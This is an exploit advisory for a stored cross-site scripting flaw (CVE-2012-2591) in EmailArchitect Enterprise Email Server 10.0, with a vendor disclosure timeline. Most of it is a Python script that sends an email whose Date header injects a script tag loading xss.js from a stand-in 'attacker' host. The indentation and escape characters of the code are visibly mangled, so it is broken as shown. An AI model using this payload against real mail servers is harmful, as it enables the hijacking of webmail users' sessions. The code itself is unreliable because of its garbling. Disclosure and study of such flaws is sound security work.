EmailArchitect Enterprise Email Server Stored XSS Exploit

Summary

EmailArchitect Enterprise Email Server 10.0 suffers from stored XSS vulnerability

Credit:

The information has been provided by loneferret.


Details

Vulnerable Systems:
 * EmailArchitect Enterprise Email Server 10.0

import smtplib, urllib2

payload = ”'<SCRIPT SRC=http://attacker/xss.js></SCRIPT>”’

def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = ‘From: hacker@offsec.localn’
msg += ‘To: victim@victim.localn’
msg += ‘Date: Today’ + payload + ‘rn’
msg += ‘Subject: XSSn’
msg += ‘Content-type: text/htmlnn’
msg += ‘XSS.rnrn’
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print ‘[-] Failed to send email:’
print ‘[*] ‘ + str(e)
server.quit()

username = ‘hacker@offsec.local’
password = ‘123456’
dstemail = ‘victim@victim.local’
frmemail = ‘hacker@offsec.local’
smtpsrv = ‘172.16.84.171’

print ‘[*] Sending Email’
sendMail(dstemail, frmemail, smtpsrv, username, password)

CVE Information:
2012-2591

Disclosure Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Categories: Exploits